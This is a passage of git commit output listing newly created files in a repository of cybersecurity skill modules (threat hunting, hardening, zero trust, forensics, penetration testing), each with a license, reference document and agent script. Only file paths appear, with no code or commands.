skills/extracting-iocs-from-malware-samples/references/api-reference.md create mode 100644 skills/extracting-iocs-from-malware-samples/scripts/agent.py create mode 100644 skills/extracting-memory-artifacts-with-rekall/LICENSE create mode 100644 skills/extracting-memory-artifacts-with-rekall/SKILL.md create mode 100644 skills/extracting-memory-artifacts-with-rekall/references/api-reference.md create mode 100644 skills/extracting-memory-artifacts-with-rekall/scripts/agent.py create mode 100644 skills/extracting-windows-event-logs-artifacts/LICENSE create mode 100644 skills/extracting-windows-event-logs-artifacts/references/api-reference.md create mode 100644 skills/extracting-windows-event-logs-artifacts/scripts/agent.py create mode 100644 skills/generating-threat-intelligence-reports/LICENSE create mode 100644 skills/generating-threat-intelligence-reports/references/api-reference.md create mode 100644 skills/generating-threat-intelligence-reports/scripts/agent.py create mode 100644 skills/hardening-docker-containers-for-production/LICENSE create mode 100644 skills/hardening-docker-daemon-configuration/LICENSE create mode 100644 skills/hardening-linux-endpoint-with-cis-benchmark/LICENSE create mode 100644 skills/hardening-windows-endpoint-with-cis-benchmark/LICENSE create mode 100644 skills/hunting-advanced-persistent-threats/LICENSE create mode 100644 skills/hunting-advanced-persistent-threats/references/api-reference.md create mode 100644 skills/hunting-advanced-persistent-threats/scripts/agent.py create mode 100644 skills/hunting-credential-stuffing-attacks/LICENSE create mode 100644 skills/hunting-credential-stuffing-attacks/SKILL.md create mode 100644 skills/hunting-credential-stuffing-attacks/references/api-reference.md create mode 100644 skills/hunting-credential-stuffing-attacks/scripts/agent.py create mode 100644 skills/hunting-for-beaconing-with-frequency-analysis/LICENSE create mode 100644 skills/hunting-for-command-and-control-beaconing/LICENSE create mode 100644 skills/hunting-for-data-exfiltration-indicators/LICENSE create mode 100644 skills/hunting-for-dns-tunneling-with-zeek/LICENSE create mode 100644 skills/hunting-for-living-off-the-cloud-techniques/LICENSE create mode 100644 skills/hunting-for-living-off-the-cloud-techniques/references/api-reference.md create mode 100644 skills/hunting-for-living-off-the-cloud-techniques/scripts/agent.py create mode 100644 skills/hunting-for-living-off-the-land-binaries/LICENSE create mode 100644 skills/hunting-for-living-off-the-land-binaries/references/api-reference.md create mode 100644 skills/hunting-for-living-off-the-land-binaries/scripts/agent.py create mode 100644 skills/hunting-for-lolbins-execution-in-endpoint-logs/LICENSE create mode 100644 skills/hunting-for-lolbins-execution-in-endpoint-logs/references/api-reference.md create mode 100644 skills/hunting-for-lolbins-execution-in-endpoint-logs/scripts/agent.py create mode 100644 skills/hunting-for-persistence-mechanisms-in-windows/LICENSE create mode 100644 skills/hunting-for-persistence-via-wmi-subscriptions/LICENSE create mode 100644 skills/hunting-for-registry-persistence-mechanisms/LICENSE create mode 100644 skills/hunting-for-scheduled-task-persistence/LICENSE create mode 100644 skills/hunting-for-shadow-copy-deletion/LICENSE create mode 100644 skills/hunting-for-shadow-copy-deletion/references/api-reference.md create mode 100644 skills/hunting-for-shadow-copy-deletion/scripts/agent.py create mode 100644 skills/hunting-for-spearphishing-indicators/LICENSE create mode 100644 skills/hunting-for-spearphishing-indicators/references/api-reference.md create mode 100644 skills/hunting-for-spearphishing-indicators/scripts/agent.py create mode 100644 skills/hunting-for-supply-chain-compromise/LICENSE create mode 100644 skills/hunting-for-supply-chain-compromise/references/api-reference.md create mode 100644 skills/hunting-for-supply-chain-compromise/scripts/agent.py create mode 100644 skills/hunting-for-suspicious-scheduled-tasks/LICENSE create mode 100644 skills/hunting-for-suspicious-scheduled-tasks/references/api-reference.md create mode 100644 skills/hunting-for-suspicious-scheduled-tasks/scripts/agent.py create mode 100644 skills/hunting-for-unusual-network-connections/LICENSE create mode 100644 skills/hunting-for-unusual-network-connections/references/api-reference.md create mode 100644 skills/hunting-for-unusual-network-connections/scripts/agent.py create mode 100644 skills/hunting-for-webshell-activity/LICENSE create mode 100644 skills/hunting-for-webshell-activity/references/api-reference.md create mode 100644 skills/hunting-for-webshell-activity/scripts/agent.py create mode 100644 skills/hunting-for-webshells-in-web-servers/LICENSE create mode 100644 skills/hunting-for-webshells-in-web-servers/SKILL.md create mode 100644 skills/hunting-for-webshells-in-web-servers/references/api-reference.md create mode 100644 skills/hunting-for-webshells-in-web-servers/scripts/agent.py create mode 100644 skills/hunting-living-off-the-land-binaries/LICENSE create mode 100644 skills/hunting-living-off-the-land-binaries/SKILL.md create mode 100644 skills/hunting-living-off-the-land-binaries/references/api-reference.md create mode 100644 skills/hunting-living-off-the-land-binaries/scripts/agent.py create mode 100644 skills/implementing-aes-encryption-for-data-at-rest/LICENSE create mode 100644 skills/implementing-aes-encryption-for-data-at-rest/references/api-reference.md create mode 100644 skills/implementing-aes-encryption-for-data-at-rest/scripts/agent.py create mode 100644 skills/implementing-alert-fatigue-reduction/LICENSE create mode 100644 skills/implementing-alert-fatigue-reduction/references/api-reference.md create mode 100644 skills/implementing-alert-fatigue-reduction/scripts/agent.py create mode 100644 skills/implementing-anti-phishing-training-program/LICENSE create mode 100644 skills/implementing-anti-phishing-training-program/references/api-reference.md create mode 100644 skills/implementing-anti-phishing-training-program/scripts/agent.py create mode 100644 skills/implementing-api-abuse-detection-with-rate-limiting/LICENSE create mode 100644 skills/implementing-api-abuse-detection-with-rate-limiting/references/api-reference.md create mode 100644 skills/implementing-api-abuse-detection-with-rate-limiting/scripts/agent.py create mode 100644 skills/implementing-api-gateway-security-controls/LICENSE create mode 100644 skills/implementing-api-gateway-security-controls/references/api-reference.md create mode 100644 skills/implementing-api-gateway-security-controls/scripts/agent.py create mode 100644 skills/implementing-api-key-security-controls/LICENSE create mode 100644 skills/implementing-api-key-security-controls/references/api-reference.md create mode 100644 skills/implementing-api-key-security-controls/scripts/agent.py create mode 100644 skills/implementing-api-rate-limiting-and-throttling/LICENSE create mode 100644 skills/implementing-api-rate-limiting-and-throttling/references/api-reference.md create mode 100644 skills/implementing-api-rate-limiting-and-throttling/scripts/agent.py create mode 100644 skills/implementing-api-schema-validation-security/LICENSE create mode 100644 skills/implementing-api-schema-validation-security/references/api-reference.md create mode 100644 skills/implementing-api-schema-validation-security/scripts/agent.py create mode 100644 skills/implementing-api-security-posture-management/LICENSE create mode 100644 skills/implementing-api-security-posture-management/references/api-reference.md create mode 100644 skills/implementing-api-security-posture-management/scripts/agent.py create mode 100644 skills/implementing-api-security-testing-with-42crunch/LICENSE create mode 100644 skills/implementing-api-security-testing-with-42crunch/references/api-reference.md create mode 100644 skills/implementing-api-security-testing-with-42crunch/scripts/agent.py create mode 100644 skills/implementing-api-threat-protection-with-apigee/LICENSE create mode 100644 skills/implementing-api-threat-protection-with-apigee/references/api-reference.md create mode 100644 skills/implementing-api-threat-protection-with-apigee/scripts/agent.py create mode 100644 skills/implementing-application-whitelisting-with-applocker/LICENSE create mode 100644 skills/implementing-application-whitelisting-with-applocker/references/api-reference.md create mode 100644 skills/implementing-application-whitelisting-with-applocker/scripts/agent.py create mode 100644 skills/implementing-aqua-security-for-container-scanning/LICENSE create mode 100644 skills/implementing-aqua-security-for-container-scanning/references/api-reference.md create mode 100644 skills/implementing-aqua-security-for-container-scanning/scripts/agent.py create mode 100644 skills/implementing-attack-path-analysis-with-xm-cyber/LICENSE create mode 100644 skills/implementing-attack-path-analysis-with-xm-cyber/references/api-reference.md create mode 100644 skills/implementing-attack-path-analysis-with-xm-cyber/scripts/agent.py create mode 100644 skills/implementing-aws-config-rules-for-compliance/LICENSE create mode 100644 skills/implementing-aws-config-rules-for-compliance/references/api-reference.md create mode 100644 skills/implementing-aws-config-rules-for-compliance/scripts/agent.py create mode 100644 skills/implementing-aws-iam-permission-boundaries/LICENSE create mode 100644 skills/implementing-aws-iam-permission-boundaries/references/api-reference.md create mode 100644 skills/implementing-aws-iam-permission-boundaries/scripts/agent.py create mode 100644 skills/implementing-aws-macie-for-data-classification/LICENSE create mode 100644 skills/implementing-aws-macie-for-data-classification/references/api-reference.md create mode 100644 skills/implementing-aws-macie-for-data-classification/scripts/agent.py create mode 100644 skills/implementing-aws-security-hub-compliance/LICENSE create mode 100644 skills/implementing-aws-security-hub-compliance/references/api-reference.md create mode 100644 skills/implementing-aws-security-hub-compliance/scripts/agent.py create mode 100644 skills/implementing-aws-security-hub/LICENSE create mode 100644 skills/implementing-aws-security-hub/references/api-reference.md create mode 100644 skills/implementing-aws-security-hub/scripts/agent.py create mode 100644 skills/implementing-azure-ad-privileged-identity-management/LICENSE create mode 100644 skills/implementing-azure-ad-privileged-identity-management/references/api-reference.md create mode 100644 skills/implementing-azure-ad-privileged-identity-management/scripts/agent.py create mode 100644 skills/implementing-azure-defender-for-cloud/LICENSE create mode 100644 skills/implementing-azure-defender-for-cloud/references/api-reference.md create mode 100644 skills/implementing-azure-defender-for-cloud/scripts/agent.py create mode 100644 skills/implementing-beyondcorp-zero-trust-access-model/LICENSE create mode 100644 skills/implementing-beyondcorp-zero-trust-access-model/references/api-reference.md create mode 100644 skills/implementing-beyondcorp-zero-trust-access-model/scripts/agent.py create mode 100644 skills/implementing-bgp-security-with-rpki/LICENSE create mode 100644 skills/implementing-bgp-security-with-rpki/references/api-reference.md create mode 100644 skills/implementing-bgp-security-with-rpki/scripts/agent.py create mode 100644 skills/implementing-cisa-zero-trust-maturity-model/LICENSE create mode 100644 skills/implementing-cisa-zero-trust-maturity-model/references/api-reference.md create mode 100644 skills/implementing-cisa-zero-trust-maturity-model/scripts/agent.py create mode 100644 skills/implementing-cloud-dlp-for-data-protection/LICENSE create mode 100644 skills/implementing-cloud-dlp-for-data-protection/references/api-reference.md create mode 100644 skills/implementing-cloud-dlp-for-data-protection/scripts/agent.py create mode 100644 skills/implementing-cloud-security-posture-management/LICENSE create mode 100644 skills/implementing-cloud-security-posture-management/references/api-reference.md create mode 100644 skills/implementing-cloud-security-posture-management/scripts/agent.py create mode 100644 skills/implementing-cloud-trail-log-analysis/LICENSE create mode 100644 skills/implementing-cloud-trail-log-analysis/references/api-reference.md create mode 100644 skills/implementing-cloud-trail-log-analysis/scripts/agent.py create mode 100644 skills/implementing-cloud-vulnerability-posture-management/LICENSE create mode 100644 skills/implementing-cloud-vulnerability-posture-management/references/api-reference.md create mode 100644 skills/implementing-cloud-vulnerability-posture-management/scripts/agent.py create mode 100644 skills/implementing-cloud-waf-rules/LICENSE create mode 100644 skills/implementing-cloud-waf-rules/references/api-reference.md create mode 100644 skills/implementing-cloud-waf-rules/scripts/agent.py create mode 100644 skills/implementing-cloud-workload-protection/LICENSE create mode 100644 skills/implementing-cloud-workload-protection/SKILL.md create mode 100644 skills/implementing-cloud-workload-protection/references/api-reference.md create mode 100644 skills/implementing-cloud-workload-protection/scripts/agent.py create mode 100644 skills/implementing-code-signing-for-artifacts/LICENSE create mode 100644 skills/implementing-code-signing-for-artifacts/references/api-reference.md create mode 100644 skills/implementing-code-signing-for-artifacts/scripts/agent.py create mode 100644 skills/implementing-conditional-access-policies-azure-ad/LICENSE create mode 100644 skills/implementing-conditional-access-policies-azure-ad/references/api-reference.md create mode 100644 skills/implementing-conditional-access-policies-azure-ad/scripts/agent.py create mode 100644 skills/implementing-conduit-security-for-ot-remote-access/LICENSE create mode 100644 skills/implementing-conduit-security-for-ot-remote-access/references/api-reference.md create mode 100644 skills/implementing-conduit-security-for-ot-remote-access/scripts/agent.py create mode 100644 skills/implementing-container-image-minimal-base-with-distroless/LICENSE create mode 100644 skills/implementing-container-image-minimal-base-with-distroless/references/api-reference.md create mode 100644 skills/implementing-container-image-minimal-base-with-distroless/scripts/agent.py create mode 100644 skills/implementing-continuous-security-validation-with-bas/LICENSE create mode 100644 skills/implementing-continuous-security-validation-with-bas/references/api-reference.md create mode 100644 skills/implementing-continuous-security-validation-with-bas/scripts/agent.py create mode 100644 skills/implementing-ddos-mitigation-with-cloudflare/LICENSE create mode 100644 skills/implementing-ddos-mitigation-with-cloudflare/references/api-reference.md create mode 100644 skills/implementing-ddos-mitigation-with-cloudflare/scripts/agent.py create mode 100644 skills/implementing-delinea-secret-server-for-pam/LICENSE create mode 100644 skills/implementing-delinea-secret-server-for-pam/references/api-reference.md create mode 100644 skills/implementing-delinea-secret-server-for-pam/scripts/agent.py create mode 100644 skills/implementing-device-posture-assessment-in-zero-trust/LICENSE create mode 100644 skills/implementing-device-posture-assessment-in-zero-trust/references/api-reference.md create mode 100644 skills/implementing-device-posture-assessment-in-zero-trust/scripts/agent.py create mode 100644 skills/implementing-diamond-model-analysis/LICENSE create mode 100644 skills/implementing-diamond-model-analysis/references/api-reference.md create mode 100644 skills/implementing-diamond-model-analysis/scripts/agent.py create mode 100644 skills/implementing-digital-signatures-with-ed25519/LICENSE create mode 100644 skills/implementing-digital-signatures-with-ed25519/references/api-reference.md create mode 100644 skills/implementing-digital-signatures-with-ed25519/scripts/agent.py create mode 100644 skills/implementing-disk-encryption-with-bitlocker/LICENSE create mode 100644 skills/implementing-dmarc-dkim-spf-email-security/LICENSE create mode 100644 skills/implementing-dragos-platform-for-ot-monitoring/LICENSE create mode 100644 skills/implementing-email-sandboxing-with-proofpoint/LICENSE create mode 100644 skills/implementing-email-security-with-dmarc-dkim-spf/LICENSE create mode 100644 skills/implementing-email-security-with-dmarc-dkim-spf/SKILL.md create mode 100644 skills/implementing-email-security-with-dmarc-dkim-spf/references/api-reference.md create mode 100644 skills/implementing-email-security-with-dmarc-dkim-spf/scripts/agent.py create mode 100644 skills/implementing-end-to-end-encryption-for-messaging/LICENSE create mode 100644 skills/implementing-endpoint-dlp-controls/LICENSE create mode 100644 skills/implementing-envelope-encryption-with-aws-kms/LICENSE create mode 100644 skills/implementing-epss-score-for-vulnerability-prioritization/LICENSE create mode 100644 skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/LICENSE create mode 100644 skills/implementing-gcp-binary-authorization/LICENSE create mode 100644 skills/implementing-gcp-organization-policy-constraints/LICENSE create mode 100644 skills/implementing-gcp-vpc-firewall-rules/LICENSE create mode 100644 skills/implementing-gcp-vpc-firewall-rules/references/api-reference.md create mode 100644 skills/implementing-gcp-vpc-firewall-rules/scripts/agent.py create mode 100644 skills/implementing-gdpr-data-protection-controls/LICENSE create mode 100644 skills/implementing-github-advanced-security-for-code-scanning/LICENSE create mode 100644 skills/implementing-google-workspace-admin-security/LICENSE create mode 100644 skills/implementing-google-workspace-admin-security/references/api-reference.md create mode 100644 skills/implementing-google-workspace-admin-security/scripts/agent.py create mode 100644 skills/implementing-google-workspace-phishing-protection/LICENSE create mode 100644 skills/implementing-google-workspace-sso-configuration/LICENSE create mode 100644 skills/implementing-hashicorp-vault-dynamic-secrets/LICENSE create mode 100644 skills/implementing-hashicorp-vault-dynamic-secrets/references/api-reference.md create mode 100644 skills/implementing-hashicorp-vault-dynamic-secrets/scripts/agent.py create mode 100644 skills/implementing-honeypot-for-ransomware-detection/LICENSE create mode 100644 skills/implementing-honeytokens-for-breach-detection/LICENSE create mode 100644 skills/implementing-honeytokens-for-breach-detection/SKILL.md create mode 100644 skills/implementing-honeytokens-for-breach-detection/references/api-reference.md create mode 100644 skills/implementing-honeytokens-for-breach-detection/scripts/agent.py create mode 100644 skills/implementing-ics-firewall-with-tofino/LICENSE create mode 100644 skills/implementing-identity-governance-with-sailpoint/LICENSE create mode 100644 skills/implementing-identity-verification-for-zero-trust/LICENSE create mode 100644 skills/implementing-iec-62443-security-zones/LICENSE create mode 100644 skills/implementing-image-provenance-verification-with-cosign/LICENSE create mode 100644 skills/implementing-infrastructure-as-code-security-scanning/LICENSE create mode 100644 skills/implementing-iso-27001-information-security-management/LICENSE create mode 100644 skills/implementing-just-in-time-access-provisioning/LICENSE create mode 100644 skills/implementing-jwt-signing-and-verification/LICENSE create mode 100644 skills/implementing-kubernetes-network-policy-with-calico/LICENSE create mode 100644 skills/implementing-kubernetes-pod-security-standards/LICENSE create mode 100644 skills/implementing-log-integrity-with-blockchain/LICENSE create mode 100644 skills/implementing-log-integrity-with-blockchain/SKILL.md create mode 100644 skills/implementing-log-integrity-with-blockchain/references/api-reference.md create mode 100644 skills/implementing-log-integrity-with-blockchain/scripts/agent.py create mode 100644 skills/implementing-memory-protection-with-dep-aslr/LICENSE create mode 100644 skills/implementing-microsegmentation-with-guardicore/LICENSE create mode 100644 skills/implementing-mimecast-targeted-attack-protection/LICENSE create mode 100644 skills/implementing-mitre-attack-coverage-mapping/LICENSE create mode 100644 skills/implementing-mobile-application-management/LICENSE create mode 100644 skills/implementing-mtls-for-zero-trust-services/LICENSE create mode 100644 skills/implementing-mtls-for-zero-trust-services/SKILL.md create mode 100644 skills/implementing-mtls-for-zero-trust-services/references/api-reference.md create mode 100644 skills/implementing-mtls-for-zero-trust-services/scripts/agent.py create mode 100644 skills/implementing-nerc-cip-compliance-controls/LICENSE create mode 100644 skills/implementing-network-access-control-with-cisco-ise/LICENSE create mode 100644 skills/implementing-network-access-control/LICENSE create mode 100644 skills/implementing-network-access-control/references/api-reference.md create mode 100644 skills/implementing-network-access-control/scripts/agent.py create mode 100644 skills/implementing-network-intrusion-prevention-with-suricata/LICENSE create mode 100644 skills/implementing-network-policies-for-kubernetes/LICENSE create mode 100644 skills/implementing-network-segmentation-for-ot/LICENSE create mode 100644 skills/implementing-network-segmentation-with-firewall-zones/LICENSE create mode 100644 skills/implementing-network-traffic-analysis-with-arkime/LICENSE create mode 100644 skills/implementing-network-traffic-analysis-with-arkime/SKILL.md create mode 100644 skills/implementing-network-traffic-analysis-with-arkime/references/api-reference.md create mode 100644 skills/implementing-network-traffic-analysis-with-arkime/scripts/agent.py create mode 100644 skills/implementing-next-generation-firewall-with-palo-alto/LICENSE create mode 100644 skills/implementing-opa-gatekeeper-for-policy-enforcement/LICENSE create mode 100644 skills/implementing-osquery-for-endpoint-monitoring/LICENSE create mode 100644 skills/implementing-osquery-for-endpoint-monitoring/SKILL.md create mode 100644 skills/implementing-osquery-for-endpoint-monitoring/references/api-reference.md create mode 100644 skills/implementing-osquery-for-endpoint-monitoring/scripts/agent.py create mode 100644 skills/implementing-ot-incident-response-playbook/LICENSE create mode 100644 skills/implementing-ot-network-traffic-analysis-with-nozomi/LICENSE create mode 100644 skills/implementing-pam-for-database-access/LICENSE create mode 100644 skills/implementing-passwordless-auth-with-microsoft-entra/LICENSE create mode 100644 skills/implementing-passwordless-auth-with-microsoft-entra/references/api-reference.md create mode 100644 skills/implementing-passwordless-auth-with-microsoft-entra/scripts/agent.py create mode 100644 skills/implementing-passwordless-authentication-with-fido2/LICENSE create mode 100644 skills/implementing-patch-management-for-ot-systems/LICENSE create mode 100644 skills/implementing-patch-management-workflow/LICENSE create mode 100644 skills/implementing-pci-dss-compliance-controls/LICENSE create mode 100644 skills/implementing-pod-security-admission-controller/LICENSE create mode 100644 skills/implementing-policy-as-code-with-open-policy-agent/LICENSE create mode 100644 skills/implementing-privileged-access-management-with-cyberark/LICENSE create mode 100644 skills/implementing-proofpoint-email-security-gateway/LICENSE create mode 100644 skills/implementing-purdue-model-network-segmentation/LICENSE create mode 100644 skills/implementing-ransomware-backup-strategy/LICENSE create mode 100644 skills/implementing-rapid7-insightvm-for-scanning/LICENSE create mode 100644 skills/implementing-rbac-for-kubernetes-cluster/LICENSE create mode 100644 skills/implementing-rbac-hardening-for-kubernetes/LICENSE create mode 100644 skills/implementing-rsa-key-pair-management/LICENSE create mode 100644 skills/implementing-runtime-security-with-tetragon/LICENSE create mode 100644 skills/implementing-saml-sso-with-okta/LICENSE create mode 100644 skills/implementing-scim-provisioning-with-okta/LICENSE create mode 100644 skills/implementing-secret-scanning-with-gitleaks/LICENSE create mode 100644 skills/implementing-secrets-management-with-vault/LICENSE create mode 100644 skills/implementing-security-chaos-engineering/LICENSE create mode 100644 skills/implementing-security-chaos-engineering/SKILL.md create mode 100644 skills/implementing-security-chaos-engineering/references/api-reference.md create mode 100644 skills/implementing-security-chaos-engineering/scripts/agent.py create mode 100644 skills/implementing-semgrep-for-custom-sast-rules/LICENSE create mode 100644 skills/implementing-siem-correlation-rules-for-apt/LICENSE create mode 100644 skills/implementing-siem-correlation-rules-for-apt/SKILL.md create mode 100644 skills/implementing-siem-correlation-rules-for-apt/references/api-reference.md create mode 100644 skills/implementing-siem-correlation-rules-for-apt/scripts/agent.py create mode 100644 skills/implementing-siem-use-cases-for-detection/LICENSE create mode 100644 skills/implementing-siem-use-cases-for-detection/references/api-reference.md create mode 100644 skills/implementing-siem-use-cases-for-detection/scripts/agent.py create mode 100644 skills/implementing-soar-automation-with-phantom/LICENSE create mode 100644 skills/implementing-soar-automation-with-phantom/references/api-reference.md create mode 100644 skills/implementing-soar-automation-with-phantom/scripts/agent.py create mode 100644 skills/implementing-soar-playbook-with-palo-alto-xsoar/LICENSE create mode 100644 skills/implementing-stix-taxii-feed-integration/LICENSE create mode 100644 skills/implementing-supply-chain-security-with-in-toto/LICENSE create mode 100644 skills/implementing-syslog-centralization-with-rsyslog/LICENSE create mode 100644 skills/implementing-syslog-centralization-with-rsyslog/SKILL.md create mode 100644 skills/implementing-syslog-centralization-with-rsyslog/references/api-reference.md create mode 100644 skills/implementing-syslog-centralization-with-rsyslog/scripts/agent.py create mode 100644 skills/implementing-taxii-server-with-opentaxii/LICENSE create mode 100644 skills/implementing-threat-intelligence-lifecycle-management/LICENSE create mode 100644 skills/implementing-threat-intelligence-platform/LICENSE create mode 100644 skills/implementing-threat-intelligence-platform/SKILL.md create mode 100644 skills/implementing-threat-intelligence-platform/references/api-reference.md create mode 100644 skills/implementing-threat-intelligence-platform/scripts/agent.py create mode 100644 skills/implementing-threat-modeling-with-mitre-attack/LICENSE create mode 100644 skills/implementing-threat-modeling-with-mitre-attack/references/api-reference.md create mode 100644 skills/implementing-threat-modeling-with-mitre-attack/scripts/agent.py create mode 100644 skills/implementing-ticketing-system-for-incidents/LICENSE create mode 100644 skills/implementing-ticketing-system-for-incidents/references/api-reference.md create mode 100644 skills/implementing-ticketing-system-for-incidents/scripts/agent.py create mode 100644 skills/implementing-usb-device-control-policy/LICENSE create mode 100644 skills/implementing-velociraptor-for-ir-collection/LICENSE create mode 100644 skills/implementing-vulnerability-remediation-sla/LICENSE create mode 100644 skills/implementing-vulnerability-sla-breach-alerting/LICENSE create mode 100644 skills/implementing-zero-knowledge-proof-for-authentication/LICENSE create mode 100644 skills/implementing-zero-knowledge-proof-for-authentication/references/api-reference.md create mode 100644 skills/implementing-zero-knowledge-proof-for-authentication/scripts/agent.py create mode 100644 skills/implementing-zero-standing-privilege-with-cyberark/LICENSE create mode 100644 skills/implementing-zero-standing-privilege-with-cyberark/references/api-reference.md create mode 100644 skills/implementing-zero-standing-privilege-with-cyberark/scripts/agent.py create mode 100644 skills/implementing-zero-trust-dns-with-nextdns/LICENSE create mode 100644 skills/implementing-zero-trust-dns-with-nextdns/references/api-reference.md create mode 100644 skills/implementing-zero-trust-dns-with-nextdns/scripts/agent.py create mode 100644 skills/implementing-zero-trust-for-saas-applications/LICENSE create mode 100644 skills/implementing-zero-trust-for-saas-applications/references/api-reference.md create mode 100644 skills/implementing-zero-trust-for-saas-applications/scripts/agent.py create mode 100644 skills/implementing-zero-trust-in-cloud/LICENSE create mode 100644 skills/implementing-zero-trust-in-cloud/references/api-reference.md create mode 100644 skills/implementing-zero-trust-in-cloud/scripts/agent.py create mode 100644 skills/implementing-zero-trust-network-access-with-zscaler/LICENSE create mode 100644 skills/implementing-zero-trust-network-access-with-zscaler/references/api-reference.md create mode 100644 skills/implementing-zero-trust-network-access-with-zscaler/scripts/agent.py create mode 100644 skills/implementing-zero-trust-network-access/LICENSE create mode 100644 skills/implementing-zero-trust-network-access/references/api-reference.md create mode 100644 skills/implementing-zero-trust-network-access/scripts/agent.py create mode 100644 skills/implementing-zero-trust-with-hashicorp-boundary/LICENSE create mode 100644 skills/implementing-zero-trust-with-hashicorp-boundary/references/api-reference.md create mode 100644 skills/implementing-zero-trust-with-hashicorp-boundary/scripts/agent.py create mode 100644 skills/integrating-dast-with-owasp-zap-in-pipeline/LICENSE create mode 100644 skills/integrating-dast-with-owasp-zap-in-pipeline/references/api-reference.md create mode 100644 skills/integrating-dast-with-owasp-zap-in-pipeline/scripts/agent.py create mode 100644 skills/integrating-sast-into-github-actions-pipeline/LICENSE create mode 100644 skills/integrating-sast-into-github-actions-pipeline/references/api-reference.md create mode 100644 skills/integrating-sast-into-github-actions-pipeline/scripts/agent.py create mode 100644 skills/intercepting-mobile-traffic-with-burpsuite/LICENSE create mode 100644 skills/intercepting-mobile-traffic-with-burpsuite/references/api-reference.md create mode 100644 skills/intercepting-mobile-traffic-with-burpsuite/scripts/agent.py create mode 100644 skills/investigating-insider-threat-indicators/LICENSE create mode 100644 skills/investigating-insider-threat-indicators/references/api-reference.md create mode 100644 skills/investigating-insider-threat-indicators/scripts/agent.py create mode 100644 skills/investigating-phishing-email-incident/LICENSE create mode 100644 skills/investigating-phishing-email-incident/references/api-reference.md create mode 100644 skills/investigating-phishing-email-incident/scripts/agent.py create mode 100644 skills/investigating-ransomware-attack-artifacts/LICENSE create mode 100644 skills/investigating-ransomware-attack-artifacts/references/api-reference.md create mode 100644 skills/investigating-ransomware-attack-artifacts/scripts/agent.py create mode 100644 skills/managing-cloud-identity-with-okta/LICENSE create mode 100644 skills/managing-cloud-identity-with-okta/references/api-reference.md create mode 100644 skills/managing-cloud-identity-with-okta/scripts/agent.py create mode 100644 skills/managing-intelligence-lifecycle/LICENSE create mode 100644 skills/managing-intelligence-lifecycle/references/api-reference.md create mode 100644 skills/managing-intelligence-lifecycle/scripts/agent.py create mode 100644 skills/mapping-mitre-attack-techniques/LICENSE create mode 100644 skills/mapping-mitre-attack-techniques/references/api-reference.md create mode 100644 skills/mapping-mitre-attack-techniques/scripts/agent.py create mode 100644 skills/monitoring-darkweb-sources/LICENSE create mode 100644 skills/monitoring-darkweb-sources/references/api-reference.md create mode 100644 skills/monitoring-darkweb-sources/scripts/agent.py create mode 100644 skills/performing-access-recertification-with-saviynt/LICENSE create mode 100644 skills/performing-access-recertification-with-saviynt/references/api-reference.md create mode 100644 skills/performing-access-recertification-with-saviynt/scripts/agent.py create mode 100644 skills/performing-access-review-and-certification/LICENSE create mode 100644 skills/performing-access-review-and-certification/references/api-reference.md create mode 100644 skills/performing-access-review-and-certification/scripts/agent.py create mode 100644 skills/performing-active-directory-bloodhound-analysis/LICENSE create mode 100644 skills/performing-active-directory-bloodhound-analysis/references/api-reference.md create mode 100644 skills/performing-active-directory-bloodhound-analysis/scripts/agent.py create mode 100644 skills/performing-active-directory-compromise-investigation/LICENSE create mode 100644 skills/performing-active-directory-penetration-test/LICENSE create mode 100644 skills/performing-active-directory-vulnerability-assessment/LICENSE create mode 100644 skills/performing-adversary-in-the-middle-phishing-detection/LICENSE create mode 100644 skills/performing-agentless-vulnerability-scanning/LICENSE create mode 100644 skills/performing-alert-triage-with-elastic-siem/LICENSE create mode 100644 skills/performing-android-app-static-analysis-with-mobsf/LICENSE create mode 100644 skills/performing-api-fuzzing-with-restler/LICENSE create mode 100644 skills/performing-api-inventory-and-discovery/LICENSE create mode 100644 skills/performing-api-rate-limiting-bypass/LICENSE create mode 100644 skills/performing-api-security-testing-with-postman/LICENSE create mode 100644 skills/performing-arp-spoofing-attack-simulation/LICENSE create mode 100644 skills/performing-arp-spoofing-attack-simulation/references/api-reference.md create mode 100644 skills/performing-arp-spoofing-attack-simulation/scripts/agent.py create mode 100644 skills/performing-asset-criticality-scoring-for-vulns/LICENSE create mode 100644 skills/performing-authenticated-scan-with-openvas/LICENSE create mode 100644 skills/performing-authenticated-vulnerability-scan/LICENSE create mode 100644 skills/performing-automated-malware-analysis-with-cape/LICENSE create mode 100644 skills/performing-aws-account-enumeration-with-scout-suite/LICENSE create mode 100644 skills/performing-aws-privilege-escalation-assessment/LICENSE create mode 100644 skills/performing-aws-privilege-escalation-assessment/references/api-reference.md create mode 100644 skills/performing-aws-privilege-escalation-assessment/scripts/agent.py create mode 100644 skills/performing-bandwidth-throttling-attack-simulation/LICENSE create mode 100644 skills/performing-bandwidth-throttling-attack-simulation/references/api-reference.md create mode 100644 skills/performing-bandwidth-throttling-attack-simulation/scripts/agent.py create mode 100644 skills/performing-blind-ssrf-exploitation/LICENSE create mode 100644 skills/performing-brand-monitoring-for-impersonation/LICENSE create mode 100644 skills/performing-clickjacking-attack-test/LICENSE create mode 100644 skills/performing-clickjacking-attack-test/references/api-reference.md create mode 100644 skills/performing-clickjacking-attack-test/scripts/agent.py create mode 100644 skills/performing-cloud-asset-inventory-with-cartography/LICENSE create mode 100644 skills/performing-cloud-forensics-investigation/LICENSE create mode 100644 skills/performing-cloud-forensics-investigation/references/api-reference.md create mode 100644 skills/performing-cloud-forensics-investigation/scripts/agent.py create mode 100644 skills/performing-cloud-incident-containment-procedures/LICENSE create mode 100644 skills/performing-cloud-native-forensics-with-falco/LICENSE create mode 100644 skills/performing-cloud-native-forensics-with-falco/SKILL.md create mode 100644 skills/performing-cloud-native-forensics-with-falco/references/api-reference.md create mode 100644 skills/performing-cloud-native-forensics-with-falco/scripts/agent.py create mode 100644 skills/performing-cloud-penetration-testing-with-pacu/LICENSE create mode 100644 skills/performing-cloud-penetration-testing-with-pacu/references/api-reference.md create mode 100644 skills/performing-cloud-penetration-testing-with-pacu/scripts/agent.py create mode 100644 skills/performing-cloud-penetration-testing/LICENSE create mode 100644 skills/performing-cloud-penetration-testing/references/api-reference.md create mode 100644 skills/performing-cloud-penetration-testing/scripts/agent.py create mode 100644 skills/performing-cloud-storage-forensic-acquisition/LICENSE create mode 100644 skills/performing-container-escape-detection/LICENSE create mode 100644 skills/performing-container-escape-detection/SKILL.md create mode 100644 skills/performing-container-escape-detection/references/api-reference.md create mode 100644 skills/performing-container-escape-detection/scripts/agent.py create mode 100644 skills/performing-container-image-hardening/LICENSE create mode 100644 skills/performing-content-security-policy-bypass/LICENSE create mode 100644 